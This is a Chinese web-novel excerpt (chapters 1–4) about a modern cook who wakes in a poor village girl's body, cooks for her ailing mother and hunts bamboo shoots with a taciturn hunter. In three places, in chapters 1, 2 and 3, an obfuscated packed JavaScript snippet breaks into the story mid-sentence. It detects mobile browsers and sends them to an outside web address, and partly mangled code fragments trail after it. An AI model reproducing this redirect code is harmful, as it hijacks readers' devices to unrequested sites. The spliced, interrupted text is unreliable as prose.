《山间小记(美食)》 1. 第 1 章 二月,阳和启蛰,大地春回。 万物复苏的季节,连人也是…… 山亭村一处僻静之地,一女子正擦拭着额头上的汗滴,她的手边,是刚劈开的几块木头。 “安然,快些进屋吃饭。”一道温柔却略显虚弱的声音在女子身后响起。 “哎。”名叫安然的女子回头,带着笑回,“知道了……娘。” 女子拄拐,走进这不算熟悉的家。即使她穿过来已经三天了,但“娘”这个称呼,目前叫起来还有些拗口。 她所在的朝代,天下承平百姓富庶,市井喧阗商旅辐辏,中外也没发生什么大事,一切都挺好的。 唯一要说不好的点,就是她们家太穷了。穷得老鼠进来转一圈都得掉二两肉。 穷就算了,这具身体的原主人命运也多舛。爹早死,娘重病。家中最大的劳动能力只剩下她,结果就在三天前,她也没了。 正逢初春,俗话说春雷响,万物长,山间的野菜争先冒头,去得早的在山下就已经能收获满满一大筐,拿到镇上去,可卖个好价钱。 好东西可不等人。所以野菜这消息传到原主耳边时,早被同村人摘秃了。 原主后来进山没有收获,回到村里,心情沮丧正时,恰巧听见村口大娘传说在大山深处,有比山下的野菜更好更值钱的东西,能卖不少铜钱,但山上太危险了,还有老虎吃人,没几个人敢去。 人穷胆肥的原主听到后,转身重新上山。 结果可想而之,一个没有多少自保能力的,最多有些力气的女子,如何能在初春露水深重的大山内行走自如。 刚到半山腰,便一个不留神脚底打滑摔下了山。 好在跌落中恰好被枝干缠住,半个时辰后,凭借极强的求生意志坚持到被路过的猎户所救,只是扭伤了腿,人还活着。 但这姑娘因为伤口发炎没能及时处理,半夜突发高烧一口气没喘上来,人就过去了。 徐安然看着眼前毫不知情,还在门口唤她吃饭的原主娘,心中泛起一丝酸涩。 古代女子生存艰难,丧偶独自带娃的女子更难。这么些年,原主的娘压抑着丧夫之痛,以及被娘家一众人赶出家门至今不闻不问的惨状,现在好不容易把女儿拉扯大了,但女儿已不是之前的女儿。 徐安然对于自己占用别人身体这事儿,有些内疚,所以也不知道该怎么面对这个“娘”。现代时她在孤儿院长大,更不知道什么是母爱。 她叹了口气,初春傍晚的风些许刺骨,原主娘一直站在风口,咳嗽又加重了。 徐安然收起思绪,连忙道:“您快回屋坐着吧,我这就来。”她放下手中砍柴的工具,将砍好的木头垒好后,便朝屋内走去。 家里没炭,更深露重时,得在屋内烧些柴火取暖。可就连这柴火都不能随便烧,因为烧完了还得上山砍,又是一个耗费体力的活儿。 进屋后的徐安然没发现原主娘看着她砍下的柴火时露出的复杂神情,而是在愁,桌上这毫无食欲的饭菜要吃到什么时候…… 作为厨子,实在对清汤寡水下不了口。 她拿起筷子又放下,无声叹气间,似乎下定某种决心,她抬头问:“娘,咱家还有面粉吗?” 这三天她一直在床上养病,今天终于能下床了,见到苏清在砍柴,毫不犹豫地接过。所以她们家厨房里到底有什么,目前还真不知道。 “还剩下两斤。” 听到这句话,徐安然坐不住了。 “您先简单吃点,别吃太饱,我等会回来。” 她抄起一旁的拐杖走出屋子,左转就到了厨房。家里穷是穷了点,但也得吃好不是。两个病人再不好好补补,就一起过去了。 在厨房外,有颗高大的柿子树,每年都结果,她们家的部分经济来源也归功于这颗柿子树。 树下方有个石桌,三张椅子,天暖时她们会在这里吃饭。 厨房对面,是一块空土地,做了区分,左边被围了起来养了只母鸡,但还没长大。右边种的青菜,韭菜、豆角、黄瓜、番茄……除了韭菜,其余都不是初春季节菜,蔫了吧唧的,跟她这破败的家一样。 厨房里,徐安然舀了碗面粉,加水、揉面团,趁着醒发,到外边摘了个把番茄,几缕新鲜的韭菜。 洗了番茄切成块,切点葱段,拍两颗蒜剁成末。 家里没有油,但有一小块连着点瘦肉的猪的皮下脂肪。这是原主娘花二十钱托村里人从镇上买回来的,为了给她补身体。 徐安然利落地将其全切成小块放入碗中,在即将大展身手的时候,被烧火给难住了。 “也不知道原主会不会烧火……”这三天她一直小心翼翼的,话不敢多说事儿也不敢多做,就怕苏清察觉到什么。 可是…… 美食当前顾不得其他了。 她站在门口朝屋内喊:“娘,你来帮我烧个火呗,我这儿有些忙。” 苏清听到后并没有犹豫,放下筷子就来了。 可是当她看到徐安然将肥肉全切了时……有些心疼地说:“安然,这肉……是要留到明天煮汤喝的,今天已经煮过汤了。” 徐安然很尴尬。 “娘,答应我,以后不要肥肉煮汤了……”真的不好喝啊。她虽说从小孤儿,但也没吃过这么大的苦。 肥肉煮汤,岂能下肚。 苏清低下头,眼眶有些泛红,“娘没用,家里实在买不起瘦肉。” 徐安然连忙放下面团,走到苏清面前,拉着她的手认真道:“娘,不许你这么说,你能把我拉扯这么大特别了不起!我没有嫌弃您的意思,我只是……哎呀!反正您就帮我烧火,我前两天梦到一个特别好吃的煮面食谱。” 虽然觉得做梦梦见食谱有些离谱,但苏清还是帮徐安然烧起了火。期间,徐安然也在偷偷学习。 缸里还有一个鸡蛋,精准无误地被徐安然找到。与此同时,火烧起来了,徐安然直接将肥肉丢入锅中。 肥肉这东西怎么做都不好吃,但是榨油却是个好的,一斤肥肉能炼出7两油,够吃好久了。 炼油时,锅噼里啪啦响,赶紧示意在火边的苏清离远些。 她一手拿着锅铲,一手将蛋打进碗里,筷子搅和后,放些盐放在旁边备用。 油炼好后,将肥肉渣捞出单独放在碗里。 这炸猪油味道香滴很,特别是炸到焦黑的肥肉渣,已经没了肥肉那恶心的口感,拌上些盐,完全可以当做一道菜。 “娘,您先试试这个肥肉渣子。”她让苏清先吃,自己继续忙活。 猪油单独放进罐子里,锅里留下一些,油还热着,放入切好的番茄,炒到软烂,再加上两瓢水,盖上篦子,等水烧开。 期间,徐安然反复揉面,直到筋道。 苏清舍不得吃太多肥肉渣子,吃了两个,便要全部留给徐安然。 “您多吃些。我这次发烧过后,脑子清醒很多,我现在有很多个能赚钱的小法子,以后,我们母女俩的日子会越过越好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092698|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏清眼眸闪了闪,复杂地看着徐安然忙碌的背影,过了半晌,才回:“好,娘信你。” 锅里的水咕噜咕噜响,篦子间隙冒着白花花的热气。将篦子移开,她一手拿着面团,一手拿着刀将面削入锅中,筷子搅拌开,加一勺盐,再将篦子重新挪回去。 拉面什么都太费事了,刀削面,简单粗暴。 渐渐地,厨房内香气弥漫,再次等锅开,淋上搅拌好的鸡蛋,随着筷子一搅拌,鸡蛋瞬间凝固成形状不一的鸡蛋花,再加入葱花。家里没有酱油,也没有什么调味粉,但这并不影响面的麦香气在鼻尖萦绕。 对比这几天的吃食,这面堪称豪华。 徐安然将面分成两份,多的那份给苏清。不等她说话,自己先吃了。 苏清虽然也馋,但还忍着,“娘还没吃,你再从娘碗里多拿走一些,我年纪大,吃不了那么多。”说完,就要把面摊过去。 “哎。”徐安然将碗移开,“就是年纪大才要多吃呢。一口面一口肥肉渣,这个春天一点儿也不冷!” 母女俩站在厨房的灶台边,一人捧着一碗面,埋头大口吃,半碗下肚,徐安然这才能好好品尝起味道。 苏清也是。 她重重地将面咽下肚,随后惊讶地看着徐安然:“安然,你这厨艺真是从梦中学来?” 徐安然点头。 原主体弱,这种下厨的粗活苏清几乎不让她干。但原主识字,也写得一手好字,靠给书店抄书赚钱,每日偷偷写到半夜,眼睛都有些看不清了。 或许她好像知道,原主在山上摔跤的真正原因了……近视。 “真是梦里学的,我以前没下过厨,所以没发掘出我厨艺方面的优点吧,嘿嘿。”徐安然尬笑,她实在不知道怎么编这个谎了。 苏清却一点儿也没有怀疑。 “看来这一跤,还摔出了个因祸得福?” “嗯……或许哦。” 舀一筷子面,条上裹着青红色的番茄和软嫩的鸡蛋花,一口下肚,胃总算满足了。 没人能拒绝美食,即使是,她们这样吃了这顿愁下顿的穷人。 吃饱喝足,徐安然总算规划正事。 来这三天了,她对山亭村的地形也有了些许了解。 这里地理环境优越,背山、面海、向阳,便于耕种,也能就近捕捞,而且雨季防涝、冬季御寒,很适合居住和生活。这也是目前为止,值得庆幸的一点了。至少不是冬天大雪封山且没有存粮这样的天崩开局。 她们一家是后来的,原来住在西边的复民村,号称十里之内最富有,后来原主父亲决定放弃科考之路,家里人生气与之决裂,才搬到这里。 但当时山亭村内已经没土地可供她们建房,于是便在山亭村周边买地建了这栋小房子,一住就是十几年,没有邻居,只有间新建很久的房子,从未见过房子主人,不知是谁。 前两年,县令重新规划了山亭村的土地,将她们这一家也归于山亭村,这才逐渐跟村里人熟悉,也终于能享受到每年朝廷办法下来的粮食补贴。 徐安然从前做餐饮发家,所以即使穿越了,也还是想重拾老本行。她在现代都能把小餐馆做大做强,在这古代也依旧能。 但要开店,最基本要有的,就是本金。 本金哪里来,当然是自然产物丰富的山里了。于是趁着苏清沉浸在美食之际,徐安然冷不丁提出要再上山一趟。 如她所想。 苏清当即回绝。 “不行。” 2. 第 2 章 “娘,实不相瞒,我想做生意。但做生意就得有本钱,目前来钱最快的,就是山里的东西了。” “做生意?” “嗯,我是认真的。” 苏清垂下了头,叹了口气,好似早就知道会有这一天, “我早该发现的,你爹会做生意,他的女儿,一定也遗传了他的优点。” 早死爹还会做生意? 这事儿徐安然真的不知道。 “你还年轻,既然想,那就努力去做。去将山间那家店铺收拾起来吧,让你爹九泉之下更安心。” 接下来的时间,苏清讲起了徐大志的故事。 徐大志,年少有着宏图大志,会读书,也做得了生意。缺点是心肠软,信任错了人。他在茶馆生意最红火的时候,将钱借给了当初一起读书的同窗,结果那人携款跑到了汴京,徐大志气得都病倒了,没多久就去世了。苏清不会商贾之术,在徐大志下葬后,就将店关了。 “这些年,家里再困难,娘也没有将店铺卖掉,一是对你爹的念想,二是,想留给你做嫁妆。娘没本事,存不了什么钱,若有朝一日你出嫁了,娘希望这份地契能给你些底气,不被娘家人贬低。”她在这方面吃过亏,所以不想让女儿走她的老路。 徐安然没想到苏清能为女儿做到这份上。 不论是现代还是古代,地契永远是最值钱的,将店铺卖了,给自己治病,也不至于落下肺痨这个慢性病。 “娘,谢谢你。”这声谢谢,是替死去的徐安然说的,也是她心里最真实的想法。 “傻孩子,娘做这一切都是自愿的,也是应该的。不需要说谢谢。只是,娘想问你一个问题。” 苏清无比认真的语气,徐让安然有种不好的预感。 “娘,你问。” 苏清酝酿了好久,才缓缓问道:“以前的安然,是不是回不来了?” 徐安然知道会有这么一天,但没想到,苏清这么快就看出来了。是啊,母女俩一起生活了十九年,这个世界上除了徐安然自己,最了解她的人就是她的母亲。 “娘……其实,我不知道该怎么跟你解释,女儿还是您的女儿,但是灵魂,是另外一个人。”徐安然坦白地说。 她不是个藏着掖着的性格,一切都说开后,如果苏清能接受,她就能大展拳脚,不必遮遮掩掩。 如果不能接受……那她也能另外谋出路。 苏清听到她的这句话,脸色煞变,差点从椅子上踉跄跌倒。 她连忙伸手去扶,却被苏清躲开。 徐安然心都凉了半截。 难道她真的要流落街头了? 不过这也不怪苏清,自己目前占着她女儿的身体活着,当了几天有妈妈的孩子。只是不知道为什么,心里酸酸的,想哭。 正当她想拿着碗离开时,却被苏清叫住。 “还没吃完呢,去哪里?” “什么?”徐安然期待着心里那个答案。 “继续陪娘吃面,这么好吃的面,娘想一直吃。” 想一直吃…… 她听懂了苏清的言外之意。 “娘……安然还可以这么叫你吗?”徐安然闷闷地说,语气不自觉地带上了些委屈。 看她这小心翼翼的样子,苏清没忍住红了眼眶,“傻孩子,你就是我苏清的女儿啊。” 徐安然低下头,喜极而泣,而后抬头泪眼汪汪地看着苏清,“谢谢你,娘。” “好了,快吃。” 话说明白后,徐安然感觉到前所未有的轻松,终于不用压着本性做人了。 次日,她起得比苏清还早。 看着她这斗志昂扬的样子,苏清都不好打击她。 虽说是有那么一家店,但自从徐大志走后,她便很少去打理,即使每次去镇子上时,都会路过那间茶馆,但触景生情,一看到那家店,就想到了死去的丈夫…… 苏清还沉浸在自己的回忆中,徐安然却已经悄无声息地将早餐准备得差不多了,昨天煮面的面团还剩下一些,天气没那么热,放在厨房里也不怕变了味道。 往面团里加些水,再揉一揉,便恢复了当日的筋道。 昨天在看到家里的小葱时,她便想到了葱花饼。 热了些猪油,将切好的大葱下锅炸几秒钟后捞出锅,这样油就有了葱香味,这就是葱油。 将大葱捞出,只留下葱油,将葱油涂抹到揉好的面皮上,只涂一面,最后在涂着葱油的面皮上,均匀地洒上葱花。 沿锅扫上一圈融化的猪油,饼皮贴在锅边,一面成型后,再翻另一面,反反复复,直到饼子渐渐变得金黄,绿色的葱花渐渐嵌入面饼中,若隐若现,除了香,还有美感。 这是她首次烧火,运气不错,成功了,并没有烧焦。 金黄酥脆的葱花饼出锅,热乎乎的,不停地在手上变换位置,最终被徐安然放在碟子里。娘俩看着这个完美的葱花饼,苏清说:“这就是葱花饼?” “嗯!拿刀切成三份,够我们母女俩吃了。” 将切好的饼先递给苏清,处于对徐安然的信任,她想也不想地直接吃了。 刚入口,她便惊讶地看着眼前这平平无奇的、表面沾了这绿色葱段的饼子,这样一个卖相不算出众,而且口感干巴巴的饼,味道竟出奇地美味。 而且葱这样平平无奇的食材也能被徐安然做出花儿来,她信了徐安然有烹饪天赋。 “娘,你说,我做这样的葱花饼带到镇上去卖,会好卖吗?” “娘没见过这样的饼,可以试一试。不过,白面价格高,如果要卖这葱花饼,一定要将成本确认好。” 开店这件事目前不知能不能成,但摆摊卖葱花饼,许是有条出路的。 “有你这句话!我更有细心了。” 她故意将葱花饼做得很大。小的葱花饼,再怎么小,都得有一个巴掌大。既然这里的百姓都没吃过葱花饼,那么对于他们来说这就是个新鲜的食物,百姓们不一定会买单。这时就需要做得大一些,然后分成小块,就像酱香饼那样,买一点点花不了多少钱,一般老百姓都会舍得。 吃饱喝足,徐安然又问起了上山的事情。 她隐约记得,在她摔跤的地方,见到了几只竹鼠,这是一种啮齿类动物,主要以竹根、竹笋为食,所以那儿可能有一片新鲜的竹笋地。她想一探究竟。 但不出意外的,又被苏清拒绝了。 “你的腿伤还没好,哪能爬那么陡峭的山?不行,不许去。” “那我找人带我上山,如何?比如,村里的猎户。”她试探性问。 那天救下她的猎户应该经常上山,如果自己能找到他带自己上山,苏清应该会放心。 “那也不行!人心险恶,你一个女孩子,如何能单独跟一个男子上山?” “是那天救下我的猎户也不行吗?” 她不知道山亭村到底有多少猎户,但是那天救下她的猎户没有趁人之危,已经能证明他是个好人了。 苏清叹气,她看着徐安然:“不是娘不同意,而是你说的那位猎户,他从未带过任何人上山。村里很多人出钱,他都不屑于带,娘不想你白走这一趟。” 徐安然没想到,自己的发财计划居然止步于上山这件小事。 母女俩都沉默期间,门外响起了一道询问的声音。 “安然在吗?” 听到自己名字,徐安然迷茫地皱眉。 这三天虽然把村里的一些人际关系搞明白了,但一定还有她没能认识到的,就比如现在这道少女音的主人是谁,她压根不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092699|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是小柔来了。” “小柔?” “她是村长的女儿,平日里我们常受到村长的帮忙,你遇险那天,也多亏了小柔叫来大夫,才能及时为你处理伤口。” 她们家住得地方距离村民们很远,即使村里有大夫,以苏清的脚程,也得走很长时间。 那天猎户将徐安然带下山,正好碰见小柔在附近,才能及时就医。说来,小柔对徐安然有恩。 “原来是这样,那我去迎她。” 她拿起凳子旁的拐杖,一瘸一拐地走出门。 小柔见到已经能下床的徐安然,心中总算放心,因为这是周大哥救下的人。 “安然!你没事真的太好了,我听说你昏迷了几天,那天送你回来之后,我便去镇子上看望我阿弟了。今天才回来,想到你的伤,给你送来两个鸡蛋,好好补补。” 徐安然看着小柔带来的鸡蛋,哪里只有两个,足足有五个。她们家母鸡一星期都下不了五个蛋。 “不用,我好得差不多了,除了走路需要拄拐杖之外,没其他问题。我昨天还能劈柴呢。” 不只是现在的徐安然,以前的徐安然也不爱接受别人的帮助。 小柔叹了口气,好似知道她一定会推脱,接着说:“真的别跟我客气,你们家的情况我们村都知道,以前不要就算了,如今你都受伤了,说什么也得收下。阿叔在世时,对我也不错。” 小柔口中的阿叔,就是徐大志。 徐大志是村里极少懂得读书识字的人,县试第一,但彼时她娘已经怀孕了,读书要花的钱太多,于是父亲放弃读书的念头,在山间做起了生意,偶尔也会教村里的孩子读书认字,小柔就是其中一个。 所以她爹的人缘很好。 但人缘再好终归抵不过时间的流逝,这么些年,村里对她爹曾经的好早就已经忘记的得差不多了,只有村长一家还记得。 即便是这样,她依旧不想接受小柔的好意。因为接受容易,还的时候还不清。 她从小在孤儿院长大,又是个生意人,熟知这个道理。 不过…… “鸡蛋我真的不要了,如果你有时间的话,能跟我去一趟山上吗?”说完,徐安然觉得不太合适,于是换了句话,“或者,你认识那位救我的猎户大哥吗?我想请他送我上山一趟,搬点东西。我会给他报酬。” “周大哥我倒是认识,明日天亮后,我来找你,带你过去找他吧。周大哥每天都会起得很早上山打猎,所以我们也得去得早一些。” “好啊好啊!”徐安然开心得不行。她只是随便问问,没想到小柔还真答应了。 从她叫的那句周大哥来看,小柔跟那猎户大哥一定很熟。 熟人帮忙,再加上金钱报酬,应该没人会拒绝吧。徐安然美滋滋地想。 “好~那这鸡蛋……” 徐安然想了想,还是从竹筐里拿走两个鸡蛋,“两个就够了,我和我娘一人一个。” 见此,小柔终于笑了,她一口答应,“行!明天卯时三刻,我再来这里找你哦,不许睡懒觉哦!” “好,我在家等你。” 两个女孩定下约定。 对话被一旁保持沉默的苏清听了去,女儿是个犟的,这点跟她很像。 如果周家小子愿意带女儿上山,那安全问题可以放心。 “明天娘也跟你一起去。”她说。 “娘,还是算了吧,你这个腿脚,还不如受伤的我呢。而且,听你的意思,那位猎户大哥应该是个不喜欢麻烦的人,我去就行了。” “好吧,娘听你的。” 到现在为止,她一直认为,救她的猎户男子应该是位慈祥的叔叔。结果第二天刚到他家门外,门从里打开的一瞬间,她瞬间看呆了…… 3. 第 3 章 男子的扑面而来的硕大肌肉和男性力量,吓得徐安然往后退了一步。 没有训练痕迹,全是实打实的肌肉。 也正是往后退了一步,总算让她看清猎户的脸。 徐安然没忍住咳了一声。还是个皮相跟身材有反差的,清秀得很,金刚芭比,男版。但她不是颜控,这脸对她来说没什么吸引力。 “安然你没事吧?”听见她咳嗽,小柔关心地问,“早晨太冷,你也不知道多加几件衣服。” “我没事。”她故意的,爬山就热了。 得到她的答案,小柔这才重新将目光放在男子身上。 “周大哥。”她眼睛亮晶晶的,将被油纸包好的食物递到周时面前,“你吃早饭了吗?这是我娘刚烙好的饼子,你是不是要上山了?带着路上吃。” 周时没接,“不必,替我谢谢大娘的好意。” “不是的,这是我自己带给……” “这位姑娘是?”没等小柔说完话,周时便问起了一旁的徐安然。 话题就这样莫名其妙落在一旁等待的徐安然身上。她反手指着自己,眼神带着疑惑,心想:大哥,你前几天刚救了我,这就忘啦?什么记性。不过好歹是救命恩人,徐安然没有辨驳。 还没等她做自我介绍,小柔便迫不及待地说: “她是村尾苏大娘的女儿,平日不常出门,但是前几天安然在山里摔倒,就是周大哥带她下山的呀,你忘啦?” 小柔介绍完,竟觉得心里美滋滋的,心想安然这么好看的女子,周大哥都没印象,看来周大哥眼里所有女子都是一个样,她非常有戏! “哦,记起来了。有事吗?”周时语气没什么波澜,静静地看着徐安然。 虽然容貌没变,但她周身的气质变了,这也是他一时间没认出徐安然的原因。真的很难将那天哭得惹人烦的女子跟现在这个表情灵动的女子联想到一块。 “我想让你带我上山。就是你当初救下我的地方,不会去到深山之中,为了答谢,我会给你相应的报酬。”徐安然直截了当地将自己的需求尽数告知,然后等待男子回答。 不知怎的,周时居然没有跟往常一样直接回绝,倒是看着徐安然受伤的腿,“你行吗?” 顺着周时的视线,她看向自己受伤的腿,坚定道:“行的!不会拖你后腿!” 现代时,她经常爬野山,这次找人陪同,一是为了让苏清放心,二是听说山上有老虎,多一个对山里地形熟悉的人,就少一份危险。 看她这副自信的模样,周时鬼使神差地答应了。却也没忘记说价钱。 “十个铜板,我能保证你怎么上山就怎么下山。” 听到价格后,徐安然低头摸了摸自己的钱袋子,皱着眉头一言不发。周时以为自己要价贵了,本想改口说便宜些,结果徐安然松口答应了。 “行!就十个铜板,但你必须要保证我的安全,另外我还有个要求,我找到的东西,你得帮我拿着,毕竟我腿脚不方便。” 周时懵了,呆呆地问:“我还得做苦力啊?” “苦力?”徐安然笑得人畜无害,“周大哥,对于你这身肌肉来说,简简单单啦。” 周时憨笑地挠头:“这倒是。”在力气这块,村中第一。 “那就走吧,正好我现在就要上山了。”他说,“不过要先给钱。” 徐安然也不矫情,十分爽快地拿出荷包里的十个铜板递给他。收了钱后,周时立即变了态度。 还挺有职业操守。徐安然心想。 事情这么顺利,一旁的小柔都愣住了。 山亭村背靠五六座大山,就连进村的路都要走一段山路。 即便如此,但村里也没几个人能自如地在大山之中穿梭。周时是其中一个,也是最厉害的一个,所以平时不论男女,都有找周时带自己上山的,像徐安然这样花钱雇佣的也有。如果运气好打到一只野猪,拿到镇上去卖,足够一家三口半年的开销。 不过周时从未答应过他们的请求,除了住在他隔壁的李大爷,同样是猎户,但近几年李大爷年纪大了,很少上山。 这次小柔同样认为周时会拒绝徐安然。她有点私心,正是因为这样,她才会带着徐安然过来,因为只要见过徐安然的人,都夸她长得漂亮,她还识字,更引得人羡慕。只是平时徐安然不常出门,所以极少有人认识她,比如三天前的周时。 小柔有了些危机感,但她又觉得自己想多了……安然是她的好姐妹,她知道自己喜欢周时……小柔一路神游回到家中。 彼时,徐安然已经跟在周时身后一起上山了。 这个未知的朝代,民风比较开放。所以徐安然也不怕自己跟周时上山会被人口舌,毕竟当时下山的时候还是周时背着她下来的,到现在也没听见有什么闲话传出。 徐安然没觉得有什么,倒是周时有些不自在了。他始终跟徐安然保持着距离,这副做派,跟他的体格一点儿都不匹配。 “周大哥,你慢点走呀,我给了钱的,是不是得照顾一下雇主?况且我腿脚还不太好。”又一刻钟过去,徐安然喘着粗气说。这幅身体的体力实在太差了,锻炼这件事迫在眉睫。 周时这才反应过来,徐安然已经落后自己一大截,看着已经累到弯腰但依旧努力跟上她的女子,周时心里竟生出别样的情愫,他不知道自己这是怎么了,以前从未有过。但他知道终于停下,等人了。 徐安然这一路上简直太无语了,本以为多一个人跟她上山气氛会热闹一点,结果这男的一言不发,问问题也就是点头和摇头,偶尔会吐出一个语气词,比葫芦还闷。跟这样的人待在一起,真的无聊死了。 或许是察觉到了徐安然有些尴尬,于是周时难得跟她聊起了天。 “你这次去山上,是要找什么?” “竹笋。你咧,这次上山打什么?你这每天都上山,山里的动物见到你,不会害怕吗?还能打到新东西吗?” 周时一个问题换来徐安然三个问题,却也老实地挨个回答。 “也不是每天都能打到猎物,不过我每天都需要训练,爬山也是其一。” “我明白了,就是顺便的事呗。你救下我的那天是不是没猎到东西啊?” 周时点头,“那天就见到你一个活物。” 徐安然翻了个白眼,话说得好像她是猎物一样……不过倒也庆幸,“还好你没有猎到东西,不然就没办法带我下山了。” 如果周时没有碰巧路过,保不齐她已经被山里的老虎吃了,尸体都没得。 “即使我猎到东西,也不会见死不救。”周时无比认真地解释,仿佛要为自己正名。 徐安然终于走到他跟前了,点了点头:“嗯,知道你人好了,可以继续带路了,周大哥。” “我叫周时。时间的时。” “哦,但出于礼貌,我还是称呼你为大哥吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092700|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “随你。” “……” 真是话不投机半句多。 以前她总被朋友说性格冷,但眼前的男子更冷,她都觉得自己活泼不少。 有了这次对话之后,周时脚步明显放慢了。 他对山里地形熟悉,徐安然早跟他说了目的地,他带着徐安然走另外一条道路,这条路比她三天前上山的路要好走太多了,于是不到半个时辰,两人便来到了三天前的摔跤地点。 这条路还保留着当时她摔下去的坑,仔细看其实坑不深,真不知道原主是怎么把自己摔了的。但她没空复盘,一心只想找笋,这次除了拐杖,她还拿了一把锄头。 扛锄头的人,是她雇的周时。 “快,把锄头给我。”她焦急地说,“我发现笋了。” 这里真的有竹笋。她曾经跟老师学过如何判断竹笋的位置。 竹笋在土壤中生长时,会使地面产生隆起或裂缝,有时甚至可以看见嫩青或笋尖。这里大大小小的裂缝和隆起太多了,而且肉眼可见笋尖。 如果不清楚的人,很容易会把这儿当做杂草忽略掉。 就是不知道古代人会不会做笋。 如果要做酸笋的话,越小的竹笋,越嫩,味道也越酸,不需要用盐腌制,就能成品。如果是炒菜吃,那一定是越大越好。 周时看周围环境还算安全,将锄头交给徐安然后,本想自己到附近看看能不能打到新猎物,结果还没走呢,就被徐安然娴熟的挖笋姿势吸引得迈不开步了。实在不像第一次做这事。 他也曾听村里人说过,住在山间的苏家有一个年满19岁的女儿,模样漂亮,会读书认字,却是个不爱出门、话少内敛的女子。初印象他同样这么觉得,跟今天的外向简直判若两人。看来传言还是不可信。 于此同时,徐安然发出一声惊呼,周时朝她的位置走去,脸上带着自己都未曾察觉的担忧。 彼时徐安然捧着一颗长的得很标致的竹笋感叹,嘴里一直念叨着发财了发财了。 见没有危险,周时放下心来,但同时心里疑惑,这样涩又苦的食物能做得多好吃?引得她这么宝贝。而且剥完之后,能吃的部分少得可怜。跟肉一起炒,还毁了一整锅肉呢。 对于经常山上的周时来说,山里的一切动植物他都有一定的了解,所以竹笋这东西,他也不是没有拿回去吃过。 跟他的疑惑跟不解不同,徐安然看着眼前的笋跟看到金子一样。这些笋都是野生的,也可以叫做野山笋,个头虽然小,但每个都鲜嫩无比,那独特的笋香已经在她周身萦绕了,这样的笋,只要处理得当,用井水泡上三五天,就能泡透,不论是直接吃还是炒菜,都十分下饭,这简直是大自然的馈赠。 徐安然美美地想着,手上的动作不停,此刻她已经忘记了自己腿还没好,眼里只有对挖笋的渴望。 笋也分公笋和木笋,两根竹枝的是母竹,笋多;一根竹枝的是公竹,笋少,所以她只挖母竹附近的笋。 细密的汗珠顺着她的额间流下,她袖子胡乱一擦,未施粉黛的脸上沾了些泥土,也无暇顾及。 周时看着这一切,鬼使神差地走到附近想要帮忙,越靠近徐安然,心跳得越快,就连耳后根都开始红了。 徐安然只当周时热心肠,将一旁的拐杖递给他:“没工具了,凑合着用吧。” 周时:…… 其实他徒手挖,更快。 4. 第 4 章 看着周时徒手挖笋比她锄头挖还要快,徐安然心中感叹这十个铜板,花得简直太值了。 二人不知天地为何物地挖笋,身后的竹筐很快堆满了,直到溢出,徐安然才满意地擦了擦手。 见周时还没停下,她连忙阻止,“你别管光顾着帮我挖笋了,该打猎就去吧,这里安全,我就在这等你回来之后再下山。”她十分善解人意地说。 周时主动揽下她身后装满笋的竹筐,并且从兜里拿出一个骨制的哨子递过去,”我就在附近打猎,如果遇见危险,躲到安全的地方吹响哨子,我会第一时间赶到。” 收了钱,自然要保证徐安然的安全。 “行,你放心去。”徐安然欣然接受周时递来的哨子,她一个受伤的人帮不了什么忙,唯一能帮忙的地方就是不给他添乱。而且,她得趁这个时间好好想一想除了酸笋之外,还有什么不需要多少成本就能赚钱的食物。 等待的时间是很漫长的,再加上没什么娱乐项目,很快徐安然就困了。 来到这儿的三天,她都睡到自然醒,今天起得早,这会儿困意上来,怎么都止不住。 只是没等她打盹,身后就传来了窸窸窣窣的声音,徐安然以为是周时,高兴地转过头同时说:“你回来啦,我们可以回去了吗?我困死了。” 只是没想到,出现在身后的不是周时,而是一直通体发黑的野猪。 她也养过猪,从没见过哪一只猪,会抬头看人……并且眼神瘆人。好像要吃了她。 “我去……姐们儿点不会这么背吧……同一个地方要栽两次?”徐安然强装镇定,心里已经想过无数种逃跑的方法,但腿上传来的阵痛令她回归现实。 现在除了周时,没人能救得了她。 手里紧紧攥着的笛子起到了作用,她用力吹。结果…… 压根吹不响!! “搞什么啊!!” 前方的野猪看徐安然,就像看一盘菜,它缓慢地走上前,突然,它的视线穿过她,看着她身后。 “别害怕。”周时的声音在身后响起。像是打了一剂定心剂,她莫名相信周时能对付得了。 “嗯嗯,我没怕,我现在要去哪里啊?” “走到我身后,躲在树后面。”说完,周时就冲了出去,野猪受不得挑衅,见周时这么大胆,立刻转变目标朝他追去。 同时徐安然成功躲回树后,她没看周时是怎么暴打野猪的,她的心只在不远处的那筐竹笋上,别打翻了才好。 周时果然是优秀的猎手,一声延绵的嘶吼声响起,仅一刻钟就将野猪制服了。制服的武器,是他随身携带的短匕。 